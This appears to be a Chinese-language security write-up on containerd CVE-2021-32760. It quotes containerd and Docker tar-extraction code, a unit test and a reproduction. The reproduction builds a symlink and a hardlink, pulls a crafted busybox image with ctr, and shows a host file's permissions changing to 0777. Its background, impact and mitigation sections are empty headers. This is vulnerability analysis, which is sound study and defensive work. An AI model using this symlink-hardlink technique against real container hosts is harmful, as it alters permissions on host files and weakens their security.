一
漏洞背景
二
漏洞分析与复现
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error {
if hdr.Typeflag == tar.TypeLink {
if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil && !os.IsNotExist(err) {
return err
}
}
} else if hdr.Typeflag != tar.TypeSymlink {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
}
return nil
}
func lchmod(path string, mode os.FileMode) error {
fi, err := os.Lstat(path)
if err != nil {
return err
}if fi.Mode()&os.ModeSymlink == 0 {
if err := os.Chmod(path, mode); err != nil {
return err
}
}
return nil
}
{ name: "HardlinkSymlinkChmod",
w: func() tartest.WriterToTar {
p := filepath.Join(td, "perm400")
if err := ioutil.WriteFile(p, []byte("..."), 0400); err != nil {
t.Fatal(err)
}
ep := filepath.Join(td, "also-exists-outside-root")
if err := ioutil.WriteFile(ep, []byte("..."), 0640); err != nil {
t.Fatal(err)
}return tartest.TarAll(
tc.Symlink(p, ep),
tc.Link(ep, "sketchylink"),
)
}(),
validator: func(string) error {
p := filepath.Join(td, "perm400")
fi, err := os.Lstat(p)
if err != nil {
return err
}
if perm := fi.Mode() & os.ModePerm; perm != 0400 {
return errors.Errorf("%s perm changed from 0400 to %04o", p, perm)
}
return nil
},
}
/home/admin # ln -s /home/admin/poc /home/admin/ep;ln ep sketchylink;ls -al
total 0
drwxr-xr-x 2 root root 33 Jul 23 10:46 .
drwxr-xr-x 3 nobody nobody 18 Jul 23 10:45 ..
lrwxrwxrwx 2 root root 15 Jul 23 10:45 ep -> /home/admin/poc
lrwxrwxrwx 2 root root 15 Jul 23 10:45 sketchylink -> /home/admin/poc
$ls -al
total 40
drwxr-xr-x 3 admin admin 4096 Jul 23 19:19 .
drwxr-xr-x. 21 root root 4096 Jul 22 13:47 ..
-rw-r--r-- 1 root root 0 Jul 23 19:19 ep
-r-------- 1 root root 0 Jul 23 19:19 poc
$sudo ctr image pull docker.io/test_images/vul:busybox-cve-2021-32760-0.5
docker.io/test_images/vul:busybox-cve-2021-32760-0.5: resolved |++++++++++++++++++++++++++++++++++++++|
manifest-sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa: done |++++++++++++++++++++++++++++++++++++++|
config-sha256:41346c641dd83548d3517a1caac991a0a8acdc427936e7e459ac8b78a5d8ae51: done |++++++++++++++++++++++++++++++++++++++|
layer-sha256:b71f96345d44b237decc0c2d6c2f9ad0d17fde83dad7579608f1f0764d9686f2: exists |++++++++++++++++++++++++++++++++++++++|
layer-sha256:4ee243a3930c69f74db7f5a33d5c46dfc0e2ef14452503ead59b386aad009078: done |++++++++++++++++++++++++++++++++++++++|
elapsed: 1.1 s total: 734.0 (666.0 B/s)
unpacking linux/amd64 sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa...
done
$ls -al ep poc
-rw-r--r-- 1 root root 0 Jul 23 19:23 ep
-rwxrwxrwx 1 root root 0 Jul 23 19:21 poc
// Iterate through the files in the archive.
for {
select {
case <-ctx.Done():
return 0, ctx.Err()
default:
}hdr, err := tr.Next()
if err == io.EOF {
// end of tar archive
break
}
if err != nil {
return 0, err
}size += hdr.Size
// Normalize name, for safety and for a simple is-root check
hdr.Name = filepath.Clean(hdr.Name)accept, err := options.Filter(hdr)
if err != nil {
return 0, err
}
if !accept {
continue
}if skipFile(hdr) {
log.G(ctx).Warnf("file %q ignored: archive may not be supported on system", hdr.Name)
continue
}// Split name and resolve symlinks for root directory.
ppath, base := filepath.Split(hdr.Name)
ppath, err = fs.RootPath(root, ppath)
if err != nil {
return 0, errors.Wrap(err, "failed to get root path")
}// Join to root before joining to parent path to ensure relative links are
// already resolved based on the root before adding to parent.
path := filepath.Join(ppath, filepath.Join("/", base))
if path == root {
log.G(ctx).Debugf("file %q ignored: resolved to root", hdr.Name)
continue
}// If file is not directly under root, ensure parent directory
// exists or is created.
if ppath != root {
parentPath := ppath
if base == "" {
parentPath = filepath.Dir(path)
}
if err := mkparent(ctx, parentPath, root, options.Parents); err != nil {
return 0, err
}
}
fs.RootPath
在所有的路径前面都加上了root目录,限制了目录的范围,无法进行穿越,之后createTarFile
函数对压缩包的不同文件类型都进行了处理,当文件类型是软链接时:case tar.TypeSymlink:
if err := os.Symlink(hdr.Linkname, path); err != nil {
return err
}
handleLChmod
代码中,对tar文件的文件类型进行了判断,并未对链接的文件类型进行限制,因此当采用软连接+硬链接时,会直接链接到宿主机的文件中,从而将宿主机的文件权限进行修改。for {
hdr, err := tr.Next()
if err == io.EOF {
// end of tar archive
break
}
if err != nil {
return err
}// ignore XGlobalHeader early to avoid creating parent directories for them
if hdr.Typeflag == tar.TypeXGlobalHeader {
logrus.Debugf("PAX Global Extended Headers found for %s and ignored", hdr.Name)
continue
}// Normalize name, for safety and for a simple is-root check
// This keeps "../" as-is, but normalizes "/../" to "/". Or Windows:
// This keeps "..\" as-is, but normalizes "\..\" to "\".
hdr.Name = filepath.Clean(hdr.Name)for _, exclude := range options.ExcludePatterns {
if strings.HasPrefix(hdr.Name, exclude) {
continue loop
}
}// After calling filepath.Clean(hdr.Name) above, hdr.Name will now be in
// the filepath format for the OS on which the daemon is running. Hence
// the check for a slash-suffix MUST be done in an OS-agnostic way.
if !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {
// Not the root directory, ensure that the parent directory exists
parent := filepath.Dir(hdr.Name)
parentPath := filepath.Join(dest, parent)
if _, err := os.Lstat(parentPath); err != nil && os.IsNotExist(err) {
err = idtools.MkdirAllAndChownNew(parentPath, 0755, rootIDs)
if err != nil {
return err
}
}
}path := filepath.Join(dest, hdr.Name)
rel, err := filepath.Rel(dest, path)
if err != nil {
return err
}
if strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
return breakoutError(fmt.Errorf("%q is outside of %q", hdr.Name, dest))
}
dest
的限制,并且禁止使用..
的相对路径,因此在docker中这部分逻辑不存在目录穿越的问题。再看下对于链接文件的处理情况:case tar.TypeLink:
targetPath := filepath.Join(extractDir, hdr.Linkname)
// check for hardlink breakout
if !strings.HasPrefix(targetPath, extractDir) {
return breakoutError(fmt.Errorf("invalid hardlink %q -> %q", targetPath, hdr.Linkname))
}
if err := os.Link(targetPath, path); err != nil {
return err
}case tar.TypeSymlink:
// path -> hdr.Linkname = targetPath
// e.g. /extractDir/path/to/symlink -> ../2/file = /extractDir/path/2/file
targetPath := filepath.Join(filepath.Dir(path), hdr.Linkname)// the reason we don't need to check symlinks in the path (with FollowSymlinkInScope) is because
// that symlink would first have to be created, which would be caught earlier, at this very check:
if !strings.HasPrefix(targetPath, extractDir) {
return breakoutError(fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname))
}
if err := os.Symlink(hdr.Linkname, path); err != nil {
return err
}
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error {
if hdr.Typeflag == tar.TypeLink {
if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
}
} else if hdr.Typeflag != tar.TypeSymlink {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
}
return nil
}
三
影响范围
四
漏洞缓解和修复措施